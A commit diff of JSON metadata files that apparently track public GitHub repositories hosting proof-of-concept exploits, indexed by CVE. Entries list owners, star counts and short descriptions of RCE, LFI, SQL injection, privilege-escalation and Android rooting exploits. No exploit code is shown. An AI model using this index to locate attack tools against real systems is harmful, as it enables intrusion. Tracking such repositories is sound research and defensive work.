"created_at": "2026-05-29T11:46:55Z",
"updated_at": "2026-09-22T23:20:53Z",
"updated_at": "2026-09-30T18:24:44Z",
"pushed_at": "2026-05-29T14:29:53Z",
"stargazers_count": 29,
"watchers_count": 29,
"stargazers_count": 30,
"watchers_count": 30,
"has_discussions": false,
"forks_count": 10,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 10,
"watchers": 29,
"watchers": 30,
"score": 0,
"subscribers_count": 0
},
2026/CVE-2026-102282.json
+50
View File
@@ -0,0 +1,50 @@
[
{
"id": 1384223401,
"name": "adm-zip_LPE-PoC",
"full_name": "x86byte\/adm-zip_LPE-PoC",
"owner": {
"login": "x86byte",
"id": 111459558,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/111459558?v=4",
"html_url": "https:\/\/github.com\/x86byte",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/x86byte\/adm-zip_LPE-PoC",
"description": "CVE-2026-102282: Local Privilege Escalation via SUID\/SGID preservation during archive extraction",
"fork": false,
"created_at": "2026-09-23T21:29:43Z",
"updated_at": "2026-09-30T19:12:46Z",
"pushed_at": "2026-09-30T17:28:07Z",
"stargazers_count": 5,
"watchers_count": 5,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [
"adm-zip",
"bug-report",
"cve-2026-102282",
"exploit",
"exploit-code",
"exploit-database",
"exploit-db",
"exploit-development",
"exploit-poc",
"exploitation",
"ghsa-679w-jf3m-wh39",
"javascript",
"privilege-escalation",
"suid"
],
"visibility": "public",
"forks": 0,
"watchers": 5,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-102427.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1398575664,
"name": "CVE-2026-102427",
"full_name": "murrez\/CVE-2026-102427",
"owner": {
"login": "murrez",
"id": 50166320,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/50166320?v=4",
"html_url": "https:\/\/github.com\/murrez",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/murrez\/CVE-2026-102427",
"description": "CVE-2026-102427 is an unauthenticated remote code execution flaw in OrdaSoft Joomla Content Construction Kit (OS CCK) — Joomla component com_os_cck.",
"fork": false,
"created_at": "2026-09-30T18:12:26Z",
"updated_at": "2026-09-30T18:13:47Z",
"pushed_at": "2026-09-30T18:13:42Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-92805.json → 2026/CVE-2026-102971.json
+13 -16
View File
@@ -1,21 +1,21 @@
[
{
"id": 1374765527,
"name": "CVE-2026-92805",
"full_name": "cflowsec\/CVE-2026-92805",
"id": 1398236626,
"name": "CVE-2026-102971",
"full_name": "BomboBombone\/CVE-2026-102971",
"owner": {
"login": "cflowsec",
"id": 327569617,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/327569617?v=4",
"html_url": "https:\/\/github.com\/cflowsec",
"login": "BomboBombone",
"id": 88135556,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/88135556?v=4",
"html_url": "https:\/\/github.com\/BomboBombone",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/cflowsec\/CVE-2026-92805",
"description": "UVdesk unauth wizard super-admin POC",
"html_url": "https:\/\/github.com\/BomboBombone\/CVE-2026-102971",
"description": "Sanitized report and local PoC for CVE-2026-102971",
"fork": false,
"created_at": "2026-09-17T16:57:27Z",
"updated_at": "2026-09-17T17:00:36Z",
"pushed_at": "2026-09-17T16:59:24Z",
"created_at": "2026-09-30T14:25:05Z",
"updated_at": "2026-09-30T14:25:16Z",
"pushed_at": "2026-09-30T14:25:10Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
@@ -25,10 +25,7 @@
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [
"cve",
"exploit"
],
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
2026/CVE-2026-15667.json → 2026/CVE-2026-102973.json
+13 -16
View File
@@ -1,21 +1,21 @@
[
{
"id": 1366387976,
"name": "CVE-2026-15667",
"full_name": "cflowsec\/CVE-2026-15667",
"id": 1398236943,
"name": "CVE-2026-102973",
"full_name": "BomboBombone\/CVE-2026-102973",
"owner": {
"login": "cflowsec",
"id": 327569617,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/327569617?v=4",
"html_url": "https:\/\/github.com\/cflowsec",
"login": "BomboBombone",
"id": 88135556,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/88135556?v=4",
"html_url": "https:\/\/github.com\/BomboBombone",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/cflowsec\/CVE-2026-15667",
"description": "CVE-2026-15667 WordPress Event Solution LFI POC",
"html_url": "https:\/\/github.com\/BomboBombone\/CVE-2026-102973",
"description": "Sanitized report and local PoC for CVE-2026-102973",
"fork": false,
"created_at": "2026-09-11T15:48:26Z",
"updated_at": "2026-09-15T17:31:05Z",
"pushed_at": "2026-09-11T16:04:26Z",
"created_at": "2026-09-30T14:25:11Z",
"updated_at": "2026-09-30T14:25:51Z",
"pushed_at": "2026-09-30T14:25:16Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
@@ -25,10 +25,7 @@
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [
"cve",
"exploit"
],
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
2026/CVE-2026-102975.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1398237283,
"name": "CVE-2026-102975",
"full_name": "BomboBombone\/CVE-2026-102975",
"owner": {
"login": "BomboBombone",
"id": 88135556,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/88135556?v=4",
"html_url": "https:\/\/github.com\/BomboBombone",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/BomboBombone\/CVE-2026-102975",
"description": "Sanitized report and local PoC for CVE-2026-102975",
"fork": false,
"created_at": "2026-09-30T14:25:17Z",
"updated_at": "2026-09-30T14:25:55Z",
"pushed_at": "2026-09-30T14:25:23Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-103437.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1398597908,
"name": "CVE-2026-103437",
"full_name": "BomboBombone\/CVE-2026-103437",
"owner": {
"login": "BomboBombone",
"id": 88135556,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/88135556?v=4",
"html_url": "https:\/\/github.com\/BomboBombone",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/BomboBombone\/CVE-2026-103437",
"description": "Sanitized report summary and local PoC for CVE-2026-103437",
"fork": false,
"created_at": "2026-09-30T18:33:57Z",
"updated_at": "2026-09-30T18:34:19Z",
"pushed_at": "2026-09-30T18:34:00Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-103440.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1398597992,
"name": "CVE-2026-103440",
"full_name": "BomboBombone\/CVE-2026-103440",
"owner": {
"login": "BomboBombone",
"id": 88135556,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/88135556?v=4",
"html_url": "https:\/\/github.com\/BomboBombone",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/BomboBombone\/CVE-2026-103440",
"description": "Sanitized report summary and local PoC for CVE-2026-103440",
"fork": false,
"created_at": "2026-09-30T18:34:02Z",
"updated_at": "2026-09-30T18:34:28Z",
"pushed_at": "2026-09-30T18:34:06Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-103441.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1398598084,
"name": "CVE-2026-103441",
"full_name": "BomboBombone\/CVE-2026-103441",
"owner": {
"login": "BomboBombone",
"id": 88135556,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/88135556?v=4",
"html_url": "https:\/\/github.com\/BomboBombone",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/BomboBombone\/CVE-2026-103441",
"description": "Sanitized report summary and local PoC for CVE-2026-103441",
"fork": false,
"created_at": "2026-09-30T18:34:08Z",
"updated_at": "2026-09-30T18:34:38Z",
"pushed_at": "2026-09-30T18:34:12Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-103442.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1398598181,
"name": "CVE-2026-103442",
"full_name": "BomboBombone\/CVE-2026-103442",
"owner": {
"login": "BomboBombone",
"id": 88135556,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/88135556?v=4",
"html_url": "https:\/\/github.com\/BomboBombone",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/BomboBombone\/CVE-2026-103442",
"description": "Sanitized report summary and local PoC for CVE-2026-103442",
"fork": false,
"created_at": "2026-09-30T18:34:13Z",
"updated_at": "2026-09-30T18:34:39Z",
"pushed_at": "2026-09-30T18:34:18Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-103445.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1398598294,
"name": "CVE-2026-103445",
"full_name": "BomboBombone\/CVE-2026-103445",
"owner": {
"login": "BomboBombone",
"id": 88135556,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/88135556?v=4",
"html_url": "https:\/\/github.com\/BomboBombone",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/BomboBombone\/CVE-2026-103445",
"description": "Sanitized report summary and local PoC for CVE-2026-103445",
"fork": false,
"created_at": "2026-09-30T18:34:20Z",
"updated_at": "2026-09-30T18:34:50Z",
"pushed_at": "2026-09-30T18:34:24Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-103446.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1398598384,
"name": "CVE-2026-103446",
"full_name": "BomboBombone\/CVE-2026-103446",
"owner": {
"login": "BomboBombone",
"id": 88135556,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/88135556?v=4",
"html_url": "https:\/\/github.com\/BomboBombone",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/BomboBombone\/CVE-2026-103446",
"description": "Sanitized report summary and local PoC for CVE-2026-103446",
"fork": false,
"created_at": "2026-09-30T18:34:26Z",
"updated_at": "2026-09-30T18:34:46Z",
"pushed_at": "2026-09-30T18:34:30Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-12227.json
+33
View File
@@ -97,5 +97,38 @@
"watchers": 1,
"score": 0,
"subscribers_count": 0
},
{
"id": 1398584183,
"name": "CVE-2026-12227",
"full_name": "MRdark-ops\/CVE-2026-12227",
"owner": {
"login": "MRdark-ops",
"id": 145036159,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/145036159?v=4",
"html_url": "https:\/\/github.com\/MRdark-ops",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/MRdark-ops\/CVE-2026-12227",
"description": "CVE-2026-12227 is a critical (CVSS 9.8) unauthenticated Local File Inclusion (LFI) vulnerability in the Visual Composer Website Builder plugin for WordPress, affecting all versions up to and including 45.16.0, This can lead to sensitive data exposure, access control bypass, or even full Remote Code Execution (RCE).",
"fork": false,
"created_at": "2026-09-30T18:20:31Z",
"updated_at": "2026-09-30T18:29:40Z",
"pushed_at": "2026-09-30T18:29:22Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-12944.json
-36
View File
@@ -1,40 +1,4 @@
[
{
"id": 1371859665,
"name": "CVE-2026-12944",
"full_name": "cflowsec\/CVE-2026-12944",
"owner": {
"login": "cflowsec",
"id": 327569617,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/327569617?v=4",
"html_url": "https:\/\/github.com\/cflowsec",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/cflowsec\/CVE-2026-12944",
"description": "Langflow 1.10.0 urllib SSRF POC",
"fork": false,
"created_at": "2026-09-15T17:23:04Z",
"updated_at": "2026-09-17T00:30:56Z",
"pushed_at": "2026-09-15T17:28:33Z",
"stargazers_count": 3,
"watchers_count": 3,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [
"cve",
"exploit"
],
"visibility": "public",
"forks": 0,
"watchers": 3,
"score": 0,
"subscribers_count": 0
},
{
"id": 1373660747,
"name": "CVE-2026-12944",
2026/CVE-2026-14962.json
-38
View File
@@ -1,38 +0,0 @@
[
{
"id": 1366581364,
"name": "CVE-2026-14962",
"full_name": "cflowsec\/CVE-2026-14962",
"owner": {
"login": "cflowsec",
"id": 327569617,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/327569617?v=4",
"html_url": "https:\/\/github.com\/cflowsec",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/cflowsec\/CVE-2026-14962",
"description": "Wordpress Plugin ELEX WooCommerce Request a Quote unauthenticated SQL injection POC",
"fork": false,
"created_at": "2026-09-11T18:47:35Z",
"updated_at": "2026-09-15T17:30:58Z",
"pushed_at": "2026-09-11T18:50:18Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [
"cve",
"exploit"
],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-18143.json
+2 -2
View File
@@ -80,8 +80,8 @@
"description": "single PoC for CVE-2026-18143 Unauth AFU (Arbitrary File Upload)",
"fork": false,
"created_at": "2026-09-30T04:35:37Z",
"updated_at": "2026-09-30T04:40:36Z",
"pushed_at": "2026-09-30T04:40:32Z",
"updated_at": "2026-09-30T15:15:00Z",
"pushed_at": "2026-09-30T15:14:55Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
2026/CVE-2026-18782.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1317212311,
"name": "CVE-2026-18782-TREX-MES-Uygulamalarinda-SQL-Zafiyeti",
"full_name": "Hasanuyarrr\/CVE-2026-18782-TREX-MES-Uygulamalarinda-SQL-Zafiyeti",
"owner": {
"login": "Hasanuyarrr",
"id": 143321353,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/143321353?v=4",
"html_url": "https:\/\/github.com\/Hasanuyarrr",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/Hasanuyarrr\/CVE-2026-18782-TREX-MES-Uygulamalarinda-SQL-Zafiyeti",
"description": null,
"fork": false,
"created_at": "2026-07-30T11:51:49Z",
"updated_at": "2026-09-30T14:36:54Z",
"pushed_at": "2026-09-30T14:36:41Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-18783.json
+35
View File
@@ -0,0 +1,35 @@
[
{
"id": 1317518228,
"name": "CVE-2026-18783-TREX-MES-Uygulamalarinda-Yetkisiz-Nesne-Erisimi",
"full_name": "Hasanuyarrr\/CVE-2026-18783-TREX-MES-Uygulamalarinda-Yetkisiz-Nesne-Erisimi",
"owner": {
"login": "Hasanuyarrr",
"id": 143321353,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/143321353?v=4",
"html_url": "https:\/\/github.com\/Hasanuyarrr",
"user_view_type": "public"
},
"html_url": "https:\/\/github.com\/Hasanuyarrr\/CVE-2026-18783-TREX-MES-Uygulamalarinda-Yetkisiz-Nesne-Erisimi",
"description": null,
"fork": false,
"created_at": "2026-07-30T17:22:49Z",
"updated_at": "2026-09-30T14:39:03Z",
"pushed_at": "2026-09-30T14:38:50Z",
"stargazers_count": 0,
"watchers_count": 0,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 0,
"score": 0,
"subscribers_count": 0
}
]
2026/CVE-2026-20687.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "CVE-2026-20687: AppleJPEGDriver startDecoder Timeout UAF — iOS\/macOS kernel vulnerability leading to deferred panic (A19 Pro, iOS 26.3 RC)",
"fork": false,
"created_at": "2026-02-09T18:21:45Z",
"updated_at": "2026-09-29T19:51:31Z",
"updated_at": "2026-09-30T16:12:03Z",
"pushed_at": "2026-08-27T16:29:39Z",
"stargazers_count": 24,
"watchers_count": 24,
"stargazers_count": 25,
"watchers_count": 25,
"has_discussions": false,
"forks_count": 8,
"allow_forking": true,
@@ -38,7 +38,7 @@
],
"visibility": "public",
"forks": 8,
"watchers": 24,
"watchers": 25,
"score": 0,
"subscribers_count": 3
},
2026/CVE-2026-20841.json
+2 -2
View File
@@ -14,8 +14,8 @@
"description": "🛠 Demonstrate remote code execution in Windows Notepad via markdown links exploiting unsecured URL protocols.",
"fork": false,
"created_at": "2024-09-22T12:19:06Z",
"updated_at": "2026-09-30T10:53:11Z",
"pushed_at": "2026-09-30T10:53:07Z",
"updated_at": "2026-09-30T19:36:37Z",
"pushed_at": "2026-09-30T19:36:32Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
2026/CVE-2026-24291.json
+2 -2
View File
@@ -80,8 +80,8 @@
"description": "Exploit Windows local privilege escalation on clients and servers using tested code for CVE-2026-24291 across multiple Windows versions",
"fork": false,
"created_at": "2026-03-26T04:38:27Z",
"updated_at": "2026-09-30T10:58:35Z",
"pushed_at": "2026-09-30T10:58:31Z",
"updated_at": "2026-09-30T16:07:33Z",
"pushed_at": "2026-09-30T16:07:26Z",
"stargazers_count": 4,
"watchers_count": 4,
"has_discussions": false,
2026/CVE-2026-24294.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "CVE-2026-24294 PoC",
"fork": false,
"created_at": "2026-04-30T04:31:14Z",
"updated_at": "2026-09-30T12:00:47Z",
"updated_at": "2026-09-30T14:59:10Z",
"pushed_at": "2026-04-30T04:35:37Z",
"stargazers_count": 58,
"watchers_count": 58,
"stargazers_count": 59,
"watchers_count": 59,
"has_discussions": false,
"forks_count": 6,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 6,
"watchers": 58,
"watchers": 59,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-2472.json
+2 -2
View File
@@ -65,8 +65,8 @@
"description": "Expose and detail an unauthenticated stored XSS vulnerability in the Google Cloud Vertex AI Python SDK affecting versions 1.98.0 to 1.130.9.",
"fork": false,
"created_at": "2026-03-10T14:40:04Z",
"updated_at": "2026-09-30T10:55:13Z",
"pushed_at": "2026-09-30T10:55:09Z",
"updated_at": "2026-09-30T16:03:48Z",
"pushed_at": "2026-09-30T16:03:44Z",
"stargazers_count": 2,
"watchers_count": 2,
"has_discussions": false,
2026/CVE-2026-39875.json
+4 -4
View File
@@ -14,10 +14,10 @@
"description": "Unprivileged user to root on macOS Sonoma, Sequoia, and Tahoe. Patched in macOS 26.6 \/ 15.7.8 \/ 14.8.8.",
"fork": false,
"created_at": "2026-07-27T19:14:06Z",
"updated_at": "2026-09-27T08:50:02Z",
"updated_at": "2026-09-30T17:02:33Z",
"pushed_at": "2026-07-28T18:26:20Z",
"stargazers_count": 12,
"watchers_count": 12,
"stargazers_count": 13,
"watchers_count": 13,
"has_discussions": false,
"forks_count": 2,
"allow_forking": true,
@@ -28,7 +28,7 @@
"topics": [],
"visibility": "public",
"forks": 2,
"watchers": 12,
"watchers": 13,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-41940.json
+4 -4
View File
@@ -738,10 +738,10 @@
"description": "CVE-2026-41940 — cPanel & WHM Authentication Bypass via Session-File CRLF Injection",
"fork": false,
"created_at": "2026-05-01T12:09:26Z",
"updated_at": "2026-09-30T00:41:14Z",
"updated_at": "2026-09-30T15:01:45Z",
"pushed_at": "2026-05-01T12:10:32Z",
"stargazers_count": 505,
"watchers_count": 505,
"stargazers_count": 506,
"watchers_count": 506,
"has_discussions": false,
"forks_count": 139,
"allow_forking": true,
@@ -752,7 +752,7 @@
"topics": [],
"visibility": "public",
"forks": 139,
"watchers": 505,
"watchers": 506,
"score": 0,
"subscribers_count": 7
},
2026/CVE-2026-42980.json
+2 -2
View File
@@ -19,7 +19,7 @@
"stargazers_count": 141,
"watchers_count": 141,
"has_discussions": false,
"forks_count": 39,
"forks_count": 40,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -27,7 +27,7 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 39,
"forks": 40,
"watchers": 141,
"score": 0,
"subscribers_count": 0
2026/CVE-2026-43284.json
+4 -4
View File
@@ -1320,10 +1320,10 @@
"description": "One-click temporary KernelSU root (late-load) for Samsung Galaxy via DirtyFrag (CVE-2026-43284). No Shizuku\/PC\/ADB.",
"fork": false,
"created_at": "2026-09-28T08:01:58Z",
"updated_at": "2026-09-30T13:35:53Z",
"updated_at": "2026-09-30T16:24:26Z",
"pushed_at": "2026-09-28T08:56:06Z",
"stargazers_count": 6,
"watchers_count": 6,
"stargazers_count": 8,
"watchers_count": 8,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
@@ -1334,7 +1334,7 @@
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 6,
"watchers": 8,
"score": 0,
"subscribers_count": 0
}
2026/CVE-2026-43499.json
+60 -27
View File
@@ -1048,12 +1048,12 @@
"description": "KSU installer for supported Samsung Galaxy firmware with CVE-2026-43499",
"fork": false,
"created_at": "2026-07-17T14:24:08Z",
"updated_at": "2026-09-30T07:13:01Z",
"updated_at": "2026-09-30T18:52:17Z",
"pushed_at": "2026-09-03T03:21:42Z",
"stargazers_count": 1317,
"watchers_count": 1317,
"stargazers_count": 1320,
"watchers_count": 1320,
"has_discussions": false,
"forks_count": 265,
"forks_count": 266,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
@@ -1061,8 +1061,8 @@
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 265,
"watchers": 1317,
"forks": 266,
"watchers": 1320,
"score": 0,
"subscribers_count": 38
},
@@ -1081,10 +1081,10 @@
"description": "Use CVE-2026-43499 to disable SELinux on Android",
"fork": false,
"created_at": "2026-07-18T05:33:53Z",
"updated_at": "2026-09-22T05:38:14Z",
"updated_at": "2026-09-30T19:24:17Z",
"pushed_at": "2026-07-18T09:51:29Z",
"stargazers_count": 15,
"watchers_count": 15,
"stargazers_count": 16,
"watchers_count": 16,
"has_discussions": false,
"forks_count": 5,
"allow_forking": true,
@@ -1095,7 +1095,7 @@
"topics": [],
"visibility": "public",
"forks": 5,
"watchers": 15,
"watchers": 16,
"score": 0,
"subscribers_count": 0
},
@@ -1661,10 +1661,10 @@
"description": "GhostLock One-Tap Execution App (CVE-2026-43499)",
"fork": false,
"created_at": "2026-07-29T05:04:25Z",
"updated_at": "2026-09-30T13:34:06Z",
"updated_at": "2026-09-30T18:41:30Z",
"pushed_at": "2026-09-30T07:03:29Z",
"stargazers_count": 1275,
"watchers_count": 1275,
"stargazers_count": 1280,
"watchers_count": 1280,
"has_discussions": false,
"forks_count": 362,
"allow_forking": true,
@@ -1675,7 +1675,7 @@
"topics": [],
"visibility": "public",
"forks": 362,
"watchers": 1275,
"watchers": 1280,
"score": 0,
"subscribers_count": 16
},
@@ -2300,10 +2300,10 @@
"description": "CVE-2026-43499 full exploit chain for Samsung Galaxy S22 Ultra (Android 5.10 kernel)",
"fork": false,
"created_at": "2026-08-08T23:35:25Z",
"updated_at": "2026-09-30T02:45:56Z",
"updated_at": "2026-09-30T18:07:14Z",
"pushed_at": "2026-09-26T19:59:22Z",
"stargazers_count": 80,
"watchers_count": 80,
"stargazers_count": 81,
"watchers_count": 81,
"has_discussions": true,
"forks_count": 34,
"allow_forking": true,
@@ -2314,7 +2314,7 @@
"topics": [],
"visibility": "public",
"forks": 34,
"watchers": 80,
"watchers": 81,
"score": 0,
"subscribers_count": 4
},
@@ -2366,8 +2366,8 @@
"description": "CVE-2026-43499 (GhostLock) research on HUAWEI MatePad Pro 11 GOT-W29",
"fork": false,
"created_at": "2026-08-10T09:01:08Z",
"updated_at": "2026-09-28T12:45:22Z",
"pushed_at": "2026-09-12T12:00:40Z",
"updated_at": "2026-09-30T19:18:08Z",
"pushed_at": "2026-09-30T19:18:04Z",
"stargazers_count": 6,
"watchers_count": 6,
"has_discussions": false,
@@ -2773,10 +2773,10 @@
"description": "KSuRoot 4.0.0 — 基于 CVE-2026-43499(GhostLock) 的一键 KernelSU 提权工具。多内核支持：6.1 \/ 6.6 \/ 6.12 三族各有专属基线，另有 50 档上游内核适配；多机型动态库内置：122 条厂商载荷（vivo\/iQOO、小米、三星、Pixel 等）离线可用、按机型+内核+commit 三级匹配；新增「载荷构建」用本机 boot.img 解析偏移打出适配本机的载荷（通用 \/ vivo 专用）；免 ADB。Mod by hmascs",
"fork": false,
"created_at": "2026-08-14T10:51:50Z",
"updated_at": "2026-09-30T07:10:18Z",
"updated_at": "2026-09-30T16:50:13Z",
"pushed_at": "2026-09-25T03:33:46Z",
"stargazers_count": 164,
"watchers_count": 164,
"stargazers_count": 167,
"watchers_count": 167,
"has_discussions": false,
"forks_count": 11,
"allow_forking": true,
@@ -2787,7 +2787,7 @@
"topics": [],
"visibility": "public",
"forks": 11,
"watchers": 164,
"watchers": 167,
"score": 0,
"subscribers_count": 1
},
@@ -3902,8 +3902,8 @@
"description": "GhostLock (CVE-2026-43499) exploit fork for RootMyVivo Neo — iQOO Neo 11 (PD2520, SM8750, 6.6.89). For authorized research on own devices only.",
"fork": false,
"created_at": "2026-09-10T02:15:06Z",
"updated_at": "2026-09-29T18:07:19Z",
"pushed_at": "2026-09-29T18:07:12Z",
"updated_at": "2026-09-30T16:28:56Z",
"pushed_at": "2026-09-30T16:28:52Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
@@ -4953,8 +4953,41 @@
"description": "GhostLock futex-PI UAF LPE exploit for POCO M7 5G - kernel 5.10.226",
"fork": false,
"created_at": "2026-09-29T09:53:13Z",
"updated_at": "2026-09-29T10:03:31Z",
"updated_at": "2026-09-30T18:56:00Z",
"pushed_at": "2026-09-29T10:03:27Z",
"stargazers_count": 1,
"watchers_count": 1,
"has_discussions": false,
"forks_count": 0,
"allow_forking": true,
"is_template": false,
"web_commit_signoff_required": false,
"has_pull_requests": true,
"pull_request_creation_policy": "all",
"topics": [],
"visibility": "public",
"forks": 0,
"watchers": 1,
"score": 0,
"subscribers_count": 0
},
{
"id": 1398545598,
"name": "Root-My-Galaxy-Payloads-S938NKSUCDZIF",
"full_name": "HaSiyo\/Root-My-Galaxy-Payloads-S938NKSUCDZIF",
"owner": {
"login": "HaSiyo",
"id": 319540357,
"avatar_url": "https:\/\/avatars.githubusercontent.com\/u\/319540357?v=4",
"html_url": "https:\/\/github.com\/HaSiyo",
